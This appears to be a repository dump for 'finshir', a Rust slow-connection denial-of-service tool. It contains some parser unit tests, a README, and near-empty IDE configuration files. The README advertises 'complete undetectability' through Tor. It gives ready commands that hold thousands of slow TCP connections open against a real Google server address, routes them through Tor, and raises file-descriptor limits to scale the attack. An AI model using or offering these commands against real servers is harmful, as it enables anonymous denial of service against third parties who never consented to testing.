#[test] 251 | fn parses_invalid_time_format() { 252 | let check = |format| { 253 | assert!( 254 | parse_time_format(format).is_err(), 255 | "Parses invalid time correctly" 256 | ) 257 | }; 258 | 259 | check("%_=-%vbg="); 260 | check("yufb%44htv"); 261 | check("sf%jhei9%990"); 262 | } 263 | 264 | // Check that ordinary values are parsed correctly 265 | #[test] 266 | fn parses_valid_non_zero_usize() { 267 | let check = |num| { 268 | assert_eq!( 269 | parse_non_zero_usize(num), 270 | Ok(NonZeroUsize::new(num.parse().unwrap()).unwrap()), 271 | "Parses valid NonZeroUsize incorrectly" 272 | ) 273 | }; 274 | 275 | check("1"); 276 | check("3"); 277 | check("26655"); 278 | check("+75"); 279 | } 280 | 281 | // Invalid numbers must produce the invalid format error 282 | #[test] 283 | fn parses_invalid_non_zero_usize() { 284 | let check = |num| { 285 | assert!( 286 | parse_non_zero_usize(num).is_err(), 287 | "Parses invalid NonZeroUsize correctly" 288 | ) 289 | }; 290 | 291 | check(" "); 292 | check("abc5653odr!"); 293 | check("6485&02hde"); 294 | check("-565642"); 295 | check(&"2178".repeat(50)); 296 | 297 | assert_eq!(parse_non_zero_usize("0"), Err(NonZeroUsizeError::ZeroValue)); 298 | } 299 | } 300 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 |

finshir

3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 |
21 | 22 | You are seeing a high-performant, coroutines-driven, and fully customisable implementation of [Low & Slow](https://www.cloudflare.com/learning/ddos/ddos-low-and-slow-attack/) load generator designed for real-world pentesting. Its complete undetectability is achieved by connecting through [Tor](https://en.wikipedia.org/wiki/Tor_%28anonymity_network%29). 23 | 24 |

25 | Pulse · 26 | Stargazers · 27 | Releases · 28 | Contributing 29 |

30 |
31 | 32 | ---------- 33 | 34 | ## Contents 35 | - [Features](https://github.com/Gymmasssorla/finshir#features) 36 | - [Installation](https://github.com/Gymmasssorla/finshir#installation) 37 | - [Building from crates.io](https://github.com/Gymmasssorla/finshir#building-from-cratesio) 38 | - [Building from sources](https://github.com/Gymmasssorla/finshir#building-from-sources) 39 | - [Pre-compiled binaries](https://github.com/Gymmasssorla/finshir#pre-compiled-binaries) 40 | - [Options](https://github.com/Gymmasssorla/finshir#options) 41 | - [Overview](https://github.com/Gymmasssorla/finshir#overview) 42 | - [Minimal command](https://github.com/Gymmasssorla/finshir#minimal-command) 43 | - [Using the Tor network](https://github.com/Gymmasssorla/finshir#using-the-tor-network) 44 | - [Test intensity](https://github.com/Gymmasssorla/finshir#test-intensity) 45 | - [Connections count](https://github.com/Gymmasssorla/finshir#connections-count) 46 | - [Custom data portions](https://github.com/Gymmasssorla/finshir#custom-data-portions) 47 | - [Logging options](https://github.com/Gymmasssorla/finshir#logging-options) 48 | - [Gallery](https://github.com/Gymmasssorla/finshir#gallery) 49 | - [Initialisation](https://github.com/Gymmasssorla/finshir#initialisation) 50 | - [Errors](https://github.com/Gymmasssorla/finshir#errors) 51 | - [Being verbose](https://github.com/Gymmasssorla/finshir#being-verbose) 52 | - [Contributing](https://github.com/Gymmasssorla/finshir#contributing) 53 | - [Target platform](https://github.com/Gymmasssorla/finshir#target-platform) 54 | - [Legal disclaimer](https://github.com/Gymmasssorla/finshir#legal-disclaimer) 55 | - [Project links](https://github.com/Gymmasssorla/finshir#project-links) 56 | - [Contacts](https://github.com/Gymmasssorla/finshir#contacts) 57 | 58 | ---------- 59 | 60 | ## Features 61 | - **Coroutines-driven.** Finshir uses [coroutines](https://en.wikipedia.org/wiki/Coroutine) (also called lightweight threads) instead of ordinary threads, which lets you open many more connections with fewer system resources. 62 | 63 | - **Generic.** Unlike other Low & Slow utilities, Finshir lets you transmit arbitrary data sets over the [TCP](https://en.m.wikipedia.org/wiki/Transmission_Control_Protocol) protocol. It may be partial HTTP headers, empty spaces, and so on. 64 | 65 | - **Written in Rust.** How you can see, all the logic is written completely in [Rust](https://www.rust-lang.org/), which means that it leverages bare-metal performance and high-level safety (no SIGSEGV, SIGILL, and other "funny" stuff). 66 | 67 | ---------- 68 | 69 | ## Installation 70 | Currently, this project requires unstable standard library features, so this is why you must switch to the nightly channel to avoid compilation errors: 71 | 72 | ``` 73 | $ rustup override set nightly-2019-04-25 74 | ``` 75 | 76 | ### Building from crates.io 77 | ```bash 78 | $ cargo install finshir 79 | ``` 80 | 81 | ### Building from sources 82 | ```bash 83 | $ git clone https://github.com/Gymmasssorla/finshir.git 84 | $ cd finshir 85 | $ cargo build --release 86 | ``` 87 | 88 | ### Pre-compiled binaries 89 | The easiest way to run Finshir on your system is to download the pre-compiled binaries from the [existing releases](https://github.com/Gymmasssorla/finshir/releases), which doesn't require any external software (unlike the two previous approaches). 90 | 91 | ---------- 92 | 93 | ## Options 94 | ``` 95 | finshir 0.1.0 96 | Temirkhan Myrzamadi 97 | A coroutines-driven Low & Slow traffic sender, written in Rust 98 | 99 | USAGE: 100 | finshir [FLAGS] [OPTIONS] --receiver 101 | 102 | FLAGS: 103 | -h, --help Prints help information 104 | --use-tor Torify all sockets by connecting to a SOCKS5 proxy running 105 | on 127.0.0.1:9050 106 | -V, --version Prints version information 107 | 108 | OPTIONS: 109 | --connect-timeout 110 | If a timeout is reached and a socket wasn't connected, the program 111 | will retry the operation later. 112 | 113 | Note that this option currently doesn't work on sockets which are 114 | trying to connect through Tor. [default: 30secs] 115 | -c, --connections 116 | A number of connections the program will handle simultaneously. This 117 | option also equals to a number of coroutines [default: 1000] 118 | --date-time-format 119 | A format for displaying local date and time in log messages. Type 120 | `man strftime` to see the format specification [default: %X] 121 | --failed-count 122 | A number of failed data transmissions used to reconnect a socket to 123 | a remote web server [default: 5] 124 | --ip-ttl 125 | Specifies the IP_TTL value for all future sockets. Usually this 126 | value equals a number of routers that a packet can go through 127 | -f, --portions-file 128 | A file consisting of a custom JSON array of data portions, specified 129 | as strings 130 | -r, --receiver 131 | A receiver of generator traffic, specified as an IP address and a 132 | port number, separated by a colon 133 | -d, --test-duration 134 | A whole test duration, after which all spawned coroutines will stop 135 | their work [default: 64years 64hours 64secs] 136 | -v, --verbosity 137 | Enable one of the possible verbosity levels. The zero level doesn't 138 | print anything, and the last level prints everything [default: 3] 139 | [possible values: 0, 1, 2, 3, 4, 5] 140 | -w, --wait 141 | A waiting time span before test execution used to prevent a launch 142 | of an erroneous (unwanted) test [default: 5secs] 143 | --write-periodicity 144 | A time interval between writing data portions. This option can be 145 | used to modify test intensity [default: 30secs] 146 | --write-timeout 147 | If a timeout is reached and a data portion wasn't sent, the program 148 | will retry the operation later [default: 30secs] 149 | 150 | By default, Finshir generates 100 empty spaces as data portions. If you want to 151 | override this behaviour, consider using the `--portions-file` option. 152 | 153 | For more information see . 154 | ``` 155 | 156 | ---------- 157 | 158 | ## Overview 159 | 160 | ### Minimal command 161 | The following command spawns 1000 coroutines, each trying to establish a new TCP connection. When connections are established, it sends empty spaces every 30 seconds, thereby order a server to wait as long as it can: 162 | 163 | ```bash 164 | # Specify one of the Google's IP addresses as a target web server 165 | $ finshir --receiver=64.233.165.113:80 166 | ``` 167 | 168 | ### Using the Tor network 169 | You can do this by specifying the `--use-tor` flag. It connects to your local SOCKS5 proxy running on 9050 port, which is typically used by Tor proxies. Also consider modifying the default configuration file located in `/etc/tor/torrc`. 170 | 171 | ```bash 172 | # Connect to the Google's address through your local Tor proxy 173 | $ finshir --receiver=64.233.165.113:80 --use-tor 174 | ``` 175 | 176 | ### Test intensity 177 | Low & Slow techniques assume to be VERY SLOW, which means that you typically send a couple of bytes every N seconds. For instance, Finshir uses the 30 seconds interval by default, but it's modifiable as well: 178 | 179 | ```bash 180 | # Test the Google's server sending data portions every one minute 181 | $ finshir --receiver=64.233.165.113:80 --write-periodicity=1min 182 | ``` 183 | 184 | ### Connections count 185 | The default number of parallel connections is 1000. However, you can modify this limit using the `--connections` option, but be sure that you system is able to handle such amount of file descriptors: 186 | 187 | ```bash 188 | # Modify the default limit of file descriptors to 17015 189 | $ sudo ulimit -n 17015 190 | 191 | # Test the target server using 17000 parallel TCP connections 192 | $ finshir --receiver=64.233.165.113:80 --connections=17000 193 | ``` 194 | 195 | ### Custom data portions 196 | By default, Finshir generates 100 empty spaces as data portions to send. You can override this behaviour by specifying your custom messages as a file, consisting of a single JSON array. This example is focused on Google: 197 | 198 | ```bash 199 | # Send partial HTTP headers to Google using `--portions-file` 200 | $ finshir --receiver=64.233.165.113:80 --portions-file files/google.json 201 | ``` 202 | 203 | ### Logging options 204 | Consider specifying a custom verbosity level from 0 to 5 (inclusively), which is done by the `--verbosity` option. There is also the `--date-time-format` option which tells Finshir to use your custom date-time format. 205 | 206 | ```bash 207 | # Use a custom date-time format and the last verbosity level 208 | $ finshir --receiver=64.233.165.113:80 --date-time-format="%F" --verbosity=5 209 | ``` 210 | 211 | ---------- 212 | 213 | ## Gallery 214 | 215 |
216 |

Initialisation

217 | 218 | 219 |

Errors

220 | 221 | 222 |

Being verbose

223 | 224 |
225 | 226 | ---------- 227 | 228 | ## Contributing 229 | You are always welcome for any contribution to this project! But before you start, you should read [the appropriate document](https://github.com/Gymmasssorla/finshir/blob/master/CONTRIBUTING.md) to know about the preferred development process and the basic communication rules. 230 | 231 | ---------- 232 | 233 | ## Target platform 234 | Like most of pentesting utilities, this project is developed, tested, and maintained for only Linux-based systems. If you are a Windows user, you probably need a [virtual machine](https://en.wikipedia.org/wiki/Virtual_machine) or another computer with GNU/Linux. 235 | 236 | ---------- 237 | 238 | ## Legal disclaimer 239 | Finshir was developed as a means of testing stress resistance of web servers, and not for hacking, that is, the author of the project **IS NOT RESPONSIBLE** for any damage caused by your use of his program. 240 | 241 | ---------- 242 | 243 | ## Project links 244 | - https://www.reddit.com/r/rust/comments/bm6ttn/finshir_a_coroutinesdriven_low_slow_ddos_attack/ 245 | - https://www.producthunt.com/posts/finshir 246 | 247 | ---------- 248 | 249 | ## Contacts 250 | [Temirkhan Myrzamadi](https://github.com/Gymmasssorla) <[gymmasssorla@gmail.com](mailto:gymmasssorla@gmail.com)> (the author) 251 | -------------------------------------------------------------------------------- /.idea/dbnavigator.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | 125 | 126 | 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | 175 | 176 | 177 | 178 | 179 | 180 | 181 | 182 | 183 | 184 | 185 | 186 | 187 | 188 | 189 | 190 | 191 | 192 | 193 | 194 | 195 | 196 | 197 | 198 | 199 | 200 | 201 | 202 | 203 | 204 | 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | 218 | 219 | 220 | 221 | 222 | 223 | 224 | 225 | 226 | 227 | 228 | 229 | 230 | 231 | 232 | 233 | 234 | 235 | 236 | 237 | 238 | 239 | 240 | 241 | 242 | 243 | 244 | 245 | 246 | 247 | 248 | 249 | 250 | 251 | 252 | 253 | 254 | 255 | 256 | 257 | 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 266 | 267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 | 275 | 276 | 277 | 278 | 279 | 280 | 281 | 282 | 283 | 284 | 285 | 286 | 287 | 288 | 289 | 290 | 291 | 292 | 293 | 294 | 295 | 296 | 297 | 298 | 299 | 300 | 301 | 302 | 303 | 304 | 305 | 306 | 307 | 308 | 309 | 310 | 311 | 312 | 313 | 314 | 315 | 316 | 317 | 318 | 319 | 320 | 321 | 322 | 323 | 324 | 325 | 326 | 327 | 328 | 329 | 330 | 331 | 332 | 333 | 334 | 335 | 336 | 337 | 338 | 339 | 340 | 341 | 342 | 343 | 344 | 345 | 346 | 347 | 348 | 349 | 350 | 351 | 352 | 353 | 354 | 355 | 356 | 357 | 358 | 359 | 360 | 361 | 362 | 363 | 364 | 365 | 366 | 367 | 368 | 369 | 370 | 371 | 372 | 373 | 374 | 375 | 376 | 377 | 378 | 379 | 380 | 381 | 382 | 383 | 384 | 385 | 386 | 387 | 388 | 389 | 390 | 391 | 392 | 393 | 394 | 395 | 396 | 397 | 398 | 399 | 400 | 401 | 402 | 403 | 404 | 405 | 406 | 407 | 408 | 409 | 410 | 411 | 412 | 413 | 414 | 415 | 416 | 417 | 418 | 419 | 420 | 421 | 422 | 423 | 424 | 425 | 426 | 427 | 428 | 429 | 430 | 431 | 432 | 433 | 434 | 435 | 436 | 437 | 438 | 439 | 440 | 441 | 442 | 443 | 444 | 445 | 446 | 447 | 448 | 449 | 450 | 451 | 452 | 453 | 454 | 455 | 456 | -------------------------------------------------------------------------------- /.idea/workspace.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 23 | 24 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 48 | 49 | 50 | 51 | waiting 52 | trace 53 | pub 54 | process 55 | finshir 56 | json 57 | Contents 58 | byte 59 | 60 | 61 | 62 | 64 | 65 | 83 | 84 | 85 | 87 | 88 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 |